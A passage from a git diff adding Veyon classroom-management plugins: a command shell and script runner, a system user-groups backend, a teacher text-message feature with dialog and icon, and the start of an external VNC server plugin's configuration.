stdin ); + + while( true ) + { + printf("VEYON> "); + + QString line; + if( stream.readLineInto( &line ) && line != QStringLiteral("exit") ) + { + runCommand( line ); + } + else + { + break; + } + } + + return NoResult; +} + + + +CommandLinePluginInterface::RunResult ShellCommandLinePlugin::handle_run( const QStringList& arguments ) +{ + QFile scriptFile( arguments.value( 0 ) ); + if( scriptFile.exists() == false ) + { + CommandLineIO::error( tr( "File \"%1\" does not exist!" ).arg( scriptFile.fileName() ) ); + return Failed; + } + + while( scriptFile.canReadLine() ) + { + runCommand( scriptFile.readLine() ); + } + + return Successful; +} + + + +void ShellCommandLinePlugin::runCommand( const QString& command ) +{ + // TODO: properly split arguments containing spaces + QProcess::execute( QCoreApplication::applicationFilePath(), command.split( ' ' ) ); +} diff --git a/plugins/shell/ShellCommandLinePlugin.h b/plugins/shell/ShellCommandLinePlugin.h new file mode 100644 index 0000000..cdb39e0 --- /dev/null +++ b/plugins/shell/ShellCommandLinePlugin.h @@ -0,0 +1,93 @@ +/* + * ShellCommandLinePlugin.h - declaration of ShellCommandLinePlugin class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SHELL_COMMAND_LINE_PLUGIN_H +#define SHELL_COMMAND_LINE_PLUGIN_H + +#include "CommandLinePluginInterface.h" + +class ShellCommandLinePlugin : public QObject, CommandLinePluginInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.ShellCommandLineInterface") + Q_INTERFACES(PluginInterface CommandLinePluginInterface) +public: + ShellCommandLinePlugin( QObject* parent = nullptr ); + ~ShellCommandLinePlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("85f6c631-e75a-4c78-8cb2-a7f3f502015a"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "Shell" ); + } + + QString description() const override + { + return tr( "Interactive shell and script execution for Veyon Control" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + QString commandLineModuleName() const override + { + return QStringLiteral( "shell" ); + } + + QString commandLineModuleHelp() const override + { + return tr( "Commands for shell functionalities" ); + } + + QStringList commands() const override; + QString commandHelp( const QString& command ) const override; + +public slots: + CommandLinePluginInterface::RunResult handle_main(); + CommandLinePluginInterface::RunResult handle_run( const QStringList& arguments ); + +private: + void runCommand( const QString& command ); + + QMap m_commands; + +}; + +#endif // SHELL_COMMAND_LINE_PLUGIN_H diff --git a/plugins/systemusergroups/CMakeLists.txt b/plugins/systemusergroups/CMakeLists.txt new file mode 100644 index 0000000..c881930 --- /dev/null +++ b/plugins/systemusergroups/CMakeLists.txt @@ -0,0 +1,7 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(systemusergroups + SystemUserGroupsPlugin.cpp + MOCFILES + SystemUserGroupsPlugin.h +) diff --git a/plugins/systemusergroups/SystemUserGroupsPlugin.cpp b/plugins/systemusergroups/SystemUserGroupsPlugin.cpp new file mode 100644 index 0000000..f98e03d --- /dev/null +++ b/plugins/systemusergroups/SystemUserGroupsPlugin.cpp @@ -0,0 +1,59 @@ +/* + * SystemUserGroupsPlugin.cpp - implementation of SystemUserGroupsPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "SystemUserGroupsPlugin.h" +#include "PlatformPluginInterface.h" +#include "PlatformUserFunctions.h" + + +SystemUserGroupsPlugin::SystemUserGroupsPlugin( QObject* parent ) : + QObject( parent ) +{ +} + + + +SystemUserGroupsPlugin::~SystemUserGroupsPlugin() +{ +} + + + +void SystemUserGroupsPlugin::reloadConfiguration() +{ +} + + + +QStringList SystemUserGroupsPlugin::userGroups( bool queryDomainGroups ) +{ + return VeyonCore::platform().userFunctions().userGroups( queryDomainGroups ); +} + + + +QStringList SystemUserGroupsPlugin::groupsOfUser( const QString& username, bool queryDomainGroups ) +{ + return VeyonCore::platform().userFunctions().groupsOfUser( username, queryDomainGroups ); +} diff --git a/plugins/systemusergroups/SystemUserGroupsPlugin.h b/plugins/systemusergroups/SystemUserGroupsPlugin.h new file mode 100644 index 0000000..206aff6 --- /dev/null +++ b/plugins/systemusergroups/SystemUserGroupsPlugin.h @@ -0,0 +1,86 @@ +/* + * SystemUserGroupsPlugin.h - declaration of SystemUserGroupsPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SYSTEM_USER_GROUPS_PLUGIN_H +#define SYSTEM_USER_GROUPS_PLUGIN_H + +#include "UserGroupsBackendInterface.h" + +class SystemUserGroupsPlugin : public QObject, PluginInterface, UserGroupsBackendInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.SystemUserGroups") + Q_INTERFACES(PluginInterface UserGroupsBackendInterface) +public: + SystemUserGroupsPlugin( QObject* paren = nullptr ); + virtual ~SystemUserGroupsPlugin(); + + Plugin::Uid uid() const override + { + return QStringLiteral("2917cdeb-ac13-4099-8715-20368254a367"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "SystemUserGroups" ); + } + + QString description() const override + { + return tr( "User groups backend for system user groups" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + Plugin::Flags flags() const override + { + return Plugin::ProvidesDefaultImplementation; + } + + QString userGroupsBackendName() const override + { + return tr( "Default (system user groups)" ); + } + + void reloadConfiguration() override; + + QStringList userGroups( bool queryDomainGroups ) override; + QStringList groupsOfUser( const QString& username, bool queryDomainGroups ) override; + +}; + +#endif // SYSTEM_USER_GROUPS_PLUGIN_H diff --git a/plugins/textmessage/CMakeLists.txt b/plugins/textmessage/CMakeLists.txt new file mode 100644 index 0000000..55b9cd5 --- /dev/null +++ b/plugins/textmessage/CMakeLists.txt @@ -0,0 +1,14 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(textmessage + TextMessageFeaturePlugin.cpp + TextMessageDialog.cpp + MOCFILES + TextMessageFeaturePlugin.h + TextMessageDialog.h + RESOURCES + textmessage.qrc + FORMS + TextMessageDialog.ui +) + diff --git a/plugins/textmessage/TextMessageDialog.cpp b/plugins/textmessage/TextMessageDialog.cpp new file mode 100644 index 0000000..92d1ed3 --- /dev/null +++ b/plugins/textmessage/TextMessageDialog.cpp @@ -0,0 +1,56 @@ +/* + * TextMessageDialog.cpp - implementation of text message dialog class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "TextMessageDialog.h" +#include "VeyonCore.h" + +#include "ui_TextMessageDialog.h" + + +TextMessageDialog::TextMessageDialog( QString &msgStr, QWidget *parent ) : + QDialog( parent ), + ui( new Ui::TextMessageDialog ), + m_msgStr( msgStr ) +{ + ui->setupUi( this ); + + VeyonCore::enforceBranding( this ); +} + + + +TextMessageDialog::~TextMessageDialog() +{ + delete ui; +} + + + +void TextMessageDialog::accept() +{ + m_msgStr = ui->textEdit->toPlainText(); + QDialog::accept(); +} diff --git a/plugins/textmessage/TextMessageDialog.h b/plugins/textmessage/TextMessageDialog.h new file mode 100644 index 0000000..8a7b6f0 --- /dev/null +++ b/plugins/textmessage/TextMessageDialog.h @@ -0,0 +1,52 @@ +/* + * TextMessageDialog.h - declaration of text message dialog class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef TEXT_MESSAGE_DIALOG_H +#define TEXT_MESSAGE_DIALOG_H + +#include + +namespace Ui +{ + class TextMessageDialog; +} + +class TextMessageDialog : public QDialog +{ + Q_OBJECT +public: + TextMessageDialog( QString &msgStr, QWidget *parent ); + ~TextMessageDialog() override; + +private slots: + void accept() override; + + +private: + Ui::TextMessageDialog *ui; + QString &m_msgStr; + +} ; + +#endif diff --git a/plugins/textmessage/TextMessageDialog.ui b/plugins/textmessage/TextMessageDialog.ui new file mode 100644 index 0000000..3e59362 --- /dev/null +++ b/plugins/textmessage/TextMessageDialog.ui @@ -0,0 +1,73 @@ + + + Tobias Junghans + TextMessageDialog + + + Send text message + + + + :/textmessage/dialog-information.png:/textmessage/dialog-information.png + + + + + + Use the field below to type your message which will be sent to all selected users. + + + true + + + + + + + + + + QDialogButtonBox::Cancel|QDialogButtonBox::Ok + + + + + + + + + + + buttonBox + accepted() + TextMessageDialog + accept() + + + 199 + 384 + + + 199 + 206 + + + + + buttonBox + rejected() + TextMessageDialog + reject() + + + 199 + 384 + + + 199 + 206 + + + + + diff --git a/plugins/textmessage/TextMessageFeaturePlugin.cpp b/plugins/textmessage/TextMessageFeaturePlugin.cpp new file mode 100644 index 0000000..6885747 --- /dev/null +++ b/plugins/textmessage/TextMessageFeaturePlugin.cpp @@ -0,0 +1,143 @@ +/* + * TextMessageFeaturePlugin.cpp - implementation of TextMessageFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "TextMessageFeaturePlugin.h" +#include "TextMessageDialog.h" +#include "FeatureWorkerManager.h" +#include "ComputerControlInterface.h" +#include "VeyonMasterInterface.h" +#include "VeyonServerInterface.h" + + +TextMessageFeaturePlugin::TextMessageFeaturePlugin( QObject* parent ) : + QObject( parent ), + m_textMessageFeature( Feature( Feature::Action | Feature::AllComponents, + Feature::Uid( "e75ae9c8-ac17-4d00-8f0d-019348346208" ), + Feature::Uid(), + tr( "Text message" ), QString(), + tr( "Use this function to send a text message to all " + "users e.g. to assign them new tasks." ), + QStringLiteral(":/textmessage/dialog-information.png") ) ), + m_features( { m_textMessageFeature } ) +{ +} + + + +const FeatureList &TextMessageFeaturePlugin::featureList() const +{ + return m_features; +} + + + +bool TextMessageFeaturePlugin::startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + if( feature.uid() != m_textMessageFeature.uid() ) + { + return false; + } + + QString textMessage; + + TextMessageDialog( textMessage, master.mainWindow() ).exec(); + + if( textMessage.isEmpty() == false ) + { + FeatureMessage featureMessage( m_textMessageFeature.uid(), ShowTextMessage ); + featureMessage.addArgument( MessageTextArgument, textMessage ); + featureMessage.addArgument( MessageIcon, QMessageBox::Information ); + + sendFeatureMessage( featureMessage, computerControlInterfaces ); + } + + return true; +} + + + +bool TextMessageFeaturePlugin::stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master); + Q_UNUSED(feature); + Q_UNUSED(computerControlInterfaces); + + return false; +} + + + +bool TextMessageFeaturePlugin::handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) +{ + Q_UNUSED(master); + Q_UNUSED(message); + Q_UNUSED(computerControlInterface); + + return false; +} + + + +bool TextMessageFeaturePlugin::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + if( m_textMessageFeature.uid() == message.featureUid() ) + { + // forward message to worker + if( server.featureWorkerManager().isWorkerRunning( m_textMessageFeature ) == false ) + { + server.featureWorkerManager().startWorker( m_textMessageFeature, FeatureWorkerManager::UnmanagedSessionProcess ); + } + server.featureWorkerManager().sendMessage( message ); + + return true; + } + + return false; +} + + + +bool TextMessageFeaturePlugin::handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) +{ + Q_UNUSED(worker); + + if( message.featureUid() == m_textMessageFeature.uid() ) + { + QMessageBox* messageBox = new QMessageBox( static_cast( message.argument( MessageIcon ).toInt() ), + tr( "Message from teacher" ), + message.argument( MessageTextArgument ).toString() ); + messageBox->show(); + + connect( messageBox, &QMessageBox::accepted, messageBox, &QMessageBox::deleteLater ); + + return true; + } + + return true; +} diff --git a/plugins/textmessage/TextMessageFeaturePlugin.h b/plugins/textmessage/TextMessageFeaturePlugin.h new file mode 100644 index 0000000..0addc63 --- /dev/null +++ b/plugins/textmessage/TextMessageFeaturePlugin.h @@ -0,0 +1,101 @@ +/* + * TextMessageFeaturePlugin.h - declaration of TextMessageFeature class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef TEXT_MESSAGE_FEATURE_PLUGIN_H +#define TEXT_MESSAGE_FEATURE_PLUGIN_H + +#include "Feature.h" +#include "FeatureProviderInterface.h" + +class TextMessageFeaturePlugin : public QObject, FeatureProviderInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.TextMessage") + Q_INTERFACES(PluginInterface FeatureProviderInterface) +public: + TextMessageFeaturePlugin( QObject* parent = nullptr ); + ~TextMessageFeaturePlugin() override {} + + Plugin::Uid uid() const override + { + return QStringLiteral("8ae6668b-9c12-4b29-9bfc-ff89f6604164"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral("TextMessage"); + } + + QString description() const override + { + return tr( "Send a message to a user" ); + } + + QString vendor() const override + { + return QStringLiteral("Veyon Community"); + } + + QString copyright() const override + { + return QStringLiteral("Tobias Junghans"); + } + + const FeatureList& featureList() const override; + + bool startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) override; + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + + bool handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) override; + +private: + enum Commands { + ShowTextMessage + }; + + enum FeatureMessageArguments { + MessageTextArgument, + MessageIcon, + FeatureMessageArgumentCount + }; + + const Feature m_textMessageFeature; + const FeatureList m_features; + +}; + +#endif // TEXT_MESSAGE_FEATURE_PLUGIN_H diff --git a/plugins/textmessage/dialog-information.png b/plugins/textmessage/dialog-information.png new file mode 100644 index 0000000000000000000000000000000000000000..3c6cf5889a0e907fcc7eb618104347967d8927e1 GIT binary patch literal 1889 zcmV-n2cGzeP)XQY6^nwJFJUcu zI(~y6U@d4!LCr^yf=rT0fQ-iv`JsC#t~A!ulI^j_(%rl9<6dbj?|t?;_aP5J5ClOG z1VIo4K@bE%5ClOGM4KVo9`Nz+3+2~#x_I$be=APCt^We)Zxtv2$I;R zvmE^G^LN1HX1xzuWNrJI$iKVDsE^DhFe;F<%hn0NoteP%$H2vta`H2ge@A}QN9Ggg zY(xiW^jg5+k^TJB8(Zzi)qhds>zaIs*rxdm3V{qRDS$?c00K;J?4#BsKTZ*|8C204 z5xBV+G`O@Wp~ChdVq4-Afv9gVg$83fK$9W{BU)R2n&q);GM1PaLDf&yr^ z2n3jo*5pT#u4N;GWZ^iU+1LKirFnpM?Ff;<5DEhc#?iG2)T+UfE&{89L<*4gqb{aa zE)5ldGY;_cm%RAFDYfvp?*=Po!vGf_Q(l_~hLIX_V(A~}SNi^X|h zUo}hwTnk9Gm(K>Khm4u`O+o}JK>v&aXq*FR`JBKe`_CSui@>fTHbewW0ZCyO%n59? z|B_>LIkzK<-hd9!loVhI-97TN$LL~i2MQ-H0y;oeB6~!B?wHlWjwJho_6R^*yCLL$ zB0qP`YGGfVs1vXVOr?MgRsSyJ$5=*AaDpOW3P@?7#LBm^eUakxhD*DY-1D3601e$1 zUi;b-)4iH_gaB$1kzUa^VJuL!qk?b&g+e^P$pUEcFtEtV4c0`XWFn}jen3(mwoM_x zas^d^czvdTW5S@$tw9+p*8=jZQbq1`iS1{xIfP65^aMme2gptY)rtHvx5%6?75Ryb zVQYewtqHn4I>1TP0Q*FKLE%>z`PshV$~HZq2@N*;hmWV{FqA zL_h)Db*N9$LCM!dIub2jTX;wTDB8IepqcI7sqtGuaVXJULn;|{<@(k;uRUM3&DcM1 zKoQUZQbk}@ z0EftD5xAikY_sjt0V+~JF7l<^C7K%f&N;yMe~f`uP#k@mB41G2x5<(3oCApG+d?p0 z6ztyJ5cws2n;!Xl2%xz?5hI>&zwgxo=`CLxk+1889ns>wfo1mt#CD;YAitn*?)AgM zxu1y>&j;e|*g4ye=k2w=?H8nzQ@4F5Q$R`tUEc;@xJ>Wf%|(8N?H4TCG{N@w5;(O&CRjOT`_89;ln6R~XxHAj>5A<;T?7_8K@aHm zor-)qK+Xwz00bH?orru2pm>Z3=>Te0>nLt9`8x@~ESE>HG4WB)OH$2XdFNZ;Z@yow!Y#C}NwibYR-VrPS2GE25 zj>>8_!{p@^q|-6*BrNfVWazg}B`0ZCAN@4`1<-E}9{E=<(e?Tx|HHxO*FSvnh7NEl zIB=YWL4ffqlJDd^0LgEH102W&!XUu-HOW7H0hj}jKaV26*B|*qlJ8Us$dUge$vBKNWQ~GV7MUp&K7~;BEaMw$#*gZko?vbfi=nhhvYjcfN&9D^6wS8U6Suy3P_QE zN%Ea40>dTAch&(&zGL$MnjwGs-xWF}-<2Xz)8xN@g-*9O8jyUqQb3ygGm`I83J6yL zrZ*(tNdc@Dlc&?$Ym)D33J7NJKPCAN3!u~O{dwm5pOJimAP9mW2!bF8f*=TjAP9mW bi2d+Cn{5hPn+^n100000NkvXXu0mjf^|NLV literal 0 HcmV?d00001 diff --git a/plugins/textmessage/textmessage.qrc b/plugins/textmessage/textmessage.qrc new file mode 100644 index 0000000..93f64c5 --- /dev/null +++ b/plugins/textmessage/textmessage.qrc @@ -0,0 +1,5 @@ + + + dialog-information.png + + diff --git a/plugins/vncserver/CMakeLists.txt b/plugins/vncserver/CMakeLists.txt new file mode 100644 index 0000000..6199993 --- /dev/null +++ b/plugins/vncserver/CMakeLists.txt @@ -0,0 +1,9 @@ +IF(VEYON_BUILD_WIN32) +ADD_SUBDIRECTORY(ultravnc-builtin) +ENDIF() + +IF(VEYON_BUILD_LINUX) +ADD_SUBDIRECTORY(x11vnc-builtin) +ENDIF() + +ADD_SUBDIRECTORY(external) diff --git a/plugins/vncserver/external/CMakeLists.txt b/plugins/vncserver/external/CMakeLists.txt new file mode 100644 index 0000000..4a8e663 --- /dev/null +++ b/plugins/vncserver/external/CMakeLists.txt @@ -0,0 +1,15 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(external-vnc-server + ExternalVncServer.cpp + ExternalVncServerConfiguration.cpp + ExternalVncServerConfigurationWidget.cpp + MOCFILES + ExternalVncServer.h + ExternalVncServerConfiguration.h + ExternalVncServerConfigurationWidget.h + FORMS + ExternalVncServerConfigurationWidget.ui + COTIRE +) + diff --git a/plugins/vncserver/external/ExternalVncServer.cpp b/plugins/vncserver/external/ExternalVncServer.cpp new file mode 100644 index 0000000..0dcb267 --- /dev/null +++ b/plugins/vncserver/external/ExternalVncServer.cpp @@ -0,0 +1,99 @@ +/* + * ExternalVncServer.cpp - implementation of ExternalVncServer class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "AuthenticationCredentials.h" +#include "ExternalVncServer.h" +#include "ExternalVncServerConfigurationWidget.h" + + +ExternalVncServer::ExternalVncServer( QObject* parent ) : + QObject( parent ), + m_configuration() +{ + // sanitize configuration + if( m_configuration.serverPort() <= 0 ) + { + m_configuration.setServerPort( 5900 ); + } +} + + + +ExternalVncServer::~ExternalVncServer() +{ +} + + + +void ExternalVncServer::upgrade( const QVersionNumber& oldVersion ) +{ + if( oldVersion < QVersionNumber( 1, 1 ) ) + { + // external VNC server password not encrypted yet? + if( m_configuration.passwordPlain().size() < MaximumPlaintextPasswordLength ) + { + // setting it again will encrypt it + m_configuration.setPassword( m_configuration.passwordPlain() ); + } + } +} + + + +QWidget* ExternalVncServer::configurationWidget() +{ + return new ExternalVncServerConfigurationWidget( m_configuration ); +} + + + +void ExternalVncServer::prepareServer() +{ +} + + + +void ExternalVncServer::runServer( int serverPort, const QString& password ) +{ + Q_UNUSED(serverPort); + Q_UNUSED(password); + + QEventLoop().exec(); +} + + + +int ExternalVncServer::configuredServerPort() +{ + return m_configuration.serverPort(); +} + + + +QString ExternalVncServer::configuredPassword() +{ + return m_configuration.password(); +} diff --git a/plugins/vncserver/external/ExternalVncServer.h b/plugins/vncserver/external/ExternalVncServer.h new file mode 100644 index 0000000..e901b2b --- /dev/null +++ b/plugins/vncserver/external/ExternalVncServer.h @@ -0,0 +1,97 @@ +/* + * ExternalVncServer.h - declaration of ExternalVncServer class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef EXTERNAL_VNC_SERVER_H +#define EXTERNAL_VNC_SERVER_H + +#include "PluginInterface.h" +#include "VncServerPluginInterface.h" +#include "ExternalVncServerConfiguration.h" + +class ExternalVncServer : public QObject, VncServerPluginInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.ExternalVncServer") + Q_INTERFACES(PluginInterface VncServerPluginInterface) +public: + ExternalVncServer( QObject* parent = nullptr ); + ~ExternalVncServer() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("67dfc1c1-8f37-4539-a298-16e74e34fd8b"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "ExternalVncServer" ); + } + + QString description() const override + { + return tr( "External VNC server" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + Plugin::Flags flags() const override + { + return Plugin::NoFlags; + } + + void upgrade( const QVersionNumber& oldVersion ) override; + + QWidget* configurationWidget() override; + + void prepareServer() override; + + void runServer( int serverPort, const QString& password ) override; + + int configuredServerPort() override; + + QString configuredPassword() override; + +private: + enum { + MaximumPlaintextPasswordLength = 64 + }; + + ExternalVncServerConfiguration m_configuration; + +}; + +#endif // EXTERNAL_VNC_SERVER_H diff --git a/plugins/vncserver/external/ExternalVncServerConfiguration.cpp b/plugins/vncserver/external/ExternalVncServerConfiguration.cpp new file mode 100644 index 0000000..12f17f1 --- /dev/null +++ b/plugins/vncserver/external/ExternalVncServerConfiguration.cpp @@ -0,0 +1,35 @@ +/* + * ExternalVncServerConfiguration.cpp - configuration values for external VNC server + * + * Copyright (c) 2017-2018 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonConfiguration.h" +#include "ExternalVncServerConfiguration.h" + + +ExternalVncServerConfiguration::ExternalVncServerConfiguration() : + Configuration::Proxy( &VeyonCore::config() ) +{ +} + + +FOREACH_EXTERNAL_VNC_SERVER_CONFIG_PROPERTY(IMPLEMENT_CONFIG_SET_PROPERTY) diff --git a/plugins/vncserver/external/ExternalVncServerConfiguration.h b/plugins/vncserver/external/ExternalVncServerConfiguration.h new file mode 100644 index 0000000..7cd4076 --- /dev/null +++ b/plugins/vncserver/external/ExternalVncServerConfiguration.h @@ -0,0 +1,51 @@ +/* + * ExternalVncServerConfiguration.h - configuration values for external VNC server + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef EXTERNAL_VNC_SERVER_CONFIGURATION_H +#define EXTERNAL_VNC_SERVER_CONFIGURATION_H + +#include "Configuration/Proxy.h" +#include "CryptoCore.h" + +#define FOREACH_EXTERNAL_VNC_SERVER_CONFIG_PROPERTY(OP) \ + OP( ExternalVncServerConfiguration, m_configuration, INT, serverPort, setServerPort, "ServerPort", "ExternalVncServer" ); \ + OP( ExternalVncServerConfiguration, m_configuration, PASSWORD, password, setPassword, "Password", "ExternalVncServer" ); + +// clazy:excludeall=ctor-missing-parent-argument + +class ExternalVncServerConfiguration : public Configuration::Proxy +{ + Q_OBJECT +public: + ExternalVncServerConfiguration(); + + 